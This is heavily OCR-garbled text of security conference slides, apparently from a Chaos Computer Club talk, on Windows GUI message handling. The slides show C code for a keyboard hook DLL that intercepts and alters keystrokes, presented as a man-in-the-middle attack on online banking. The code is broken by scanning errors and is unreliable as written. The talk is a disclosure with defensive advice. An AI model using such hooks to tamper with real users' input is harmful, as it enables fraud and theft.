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l@gybody searehes for security for
Machine: wachlne Interfaces.

» SomeNmplementations of cryptography

are OKNernow.

B Noboedy thinks about the security

problems of the user-machine
Interfaces.
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.ehio=s.de.

wombat login: b
Fassword:
Login incorrect

wombat login: vh

Fassword:

1 failure =ince last login. Last was 21:21:03 on 1.

La=st login: Thu Dec 26 21:20:39 from nautilus.intern.ebhio=s.de
Hawve a lot of fun...

whil vonbhat s~ § I
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er S altimesharing system
m hardwarerdrivers in the kernel, mostly interrupt

drive

N Proéses and threads in the user land

m Windoze'ls'a message based GUI
m System Message Queue -> System Dispatcher
m > [hread Message Queue -> Thread Dispatcher
m -> \WindowProc for every Window Class.
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PhEIdGES the Windoze GUI
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WindowProc
(Message Handler)
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pizlle) yworle

I nt W nMai n( H NSTANCE hl nst ance,
HI NSTANCE hPrevl nst ance,
LPSTR | pCndLi ne,
| nt nCndShow) {
M5G ns(Q;

==p |f (!hPrevlnstance) InitApp(hlnstance);
| ni tl nstance( hl nstance, nChdShow) ;

whil e (Get Message(&rsg, NULL, 0, 0)) {

Tr ansl at eMessage( &sQ) ;
Di spat chMessage( &nsg) ;

return nsg. wPar am




pizlle) yworle

ATOM | ni t App( H NSTANCE hl nst ance) {
VWDCLASSEX wcex;
menset (&wcex, 0, sizeof (VWNDCLASSEX) ) ;

wcex. cbSi ze = si zeof (VWNDCLASSEX) ;

Te = CS_HREDRAW | CS VREDRAW
nWidProc = (VWNDPROC) WhdPr oc;

WCEX. .St? ce = hlnstance;

wcex. h = Loadl con( NULL, | DI _APPLI CATI ON) ;
WCcex. hCursor = LoadCur sor ( NULL, | DC_ARROW ;
wcex. hbr Background = (HBRUSI—I) (COLOR_ V\VNDOJ\frl)
wceX. | pszCl assNane = "Hel | owor | dCl ass”;

wWeey.-st
weex. | p
i
e

return Regi sterd asskEx(&wcex);




pizlle) yworle

LRESULT CALLBACK WhdProc( HWND hwWhd, Ul NT nessage,
WPARAM wPar am LPARAM | Param {
PAI NTSTRUCT ps;

HDC hdc;

sw tch (nessage) {
case VWM PAI NT:
hdc = Begi nPai nt (hWad, &ps);
RECT rt;
Get A i ent Rect (hWhd, &rt);
DrawText (hdc, "hello, world", 12, &t,
DT _CENTER) ;
EndPai nt (hwWhd, &ps);
br eak;
case W CLI CK:




'Hea@gpﬁint’.'Hooks.

%age iHooksSIcan be installed from any

applicationibelore any message dispatcher.
o Messgges%ould e filtered or altered and

‘

transpelteditorthe Mliessage Handlers.
m |s there a security system? No, Sir.
m Attacking pattern: Man in the middle attack.
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VianzinsiheViddle-Attack.
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% | Message Windows Application
2 Hook (i.e. |[E for banking ;-)

“Click!”
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void I nstall Hook() {
m hLi b = LoadLi brary("Hook.dl|");

FARPROC pSysMsgProc = Get ProcAddress(m hLi b,
"Keyboar dProc");

PSETHOOKHANDLE pSet HookHandl e =
( PSETHOOKHANDLE) Get Pr ocAddr ess(m hLi b,
"Setlnfo");

m hHook = Set W ndowsHook Ex( VWH KEYBQARD,
( HOOKPROC) pSysMsgProc, m hLi b, 0);
(*pSet HookHandl e) ( m _hHook) ;




Caele szipnlole

stati c HHOOK hHook = O;
o voi d Set | nfo( HHOOK newHook) {hHook = newHook; }

LRESULT CALLBACK Keyboar dProc(i nt nCode, WPARAM wPar am
LPARAM | Param {
| f (nCode == HC ACTI ON && wParam == VK DECI MAL) {
/1 hPlayback = Set W ndowsHook Ex( VWH_JOURNALPLAYBACK,
/] Jour nal Pl aybackProc, theApp. m hlnstance, 0);
I f (I Param & 0x80000000)
keybd event (13502, 52, KEYEVENTF_KEYUP,
el se
keybd event (13502, 52, 0, 0);
return 1;

}
return Cal | Next HOokEx( hHook, nCode, wParam | Param ;
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10 aative with internet
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%enters 425 computer understands
: USEr reads "42"

- Useuga!hentlcatlng this transaction.

é
-

‘

n Computeris transacting “23".

u Wity an' Internet Explorer plugin we
don't need any extra processes.

m Distributing such plugins made easy by
using music files with Windows XP.
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Arfd W\Nha‘rcan we do?

SES

%r iergetVWinaows for banking
PUFPOSES:

u Betterfforget tlie Macintosh for banking
PUrPOSESalsSo

m X11 offers a security system. But who
knows that and who is using it?

m Better: cold boot from CD
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TThank youl'y
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" Ghaoeiebmputer Club. -%‘
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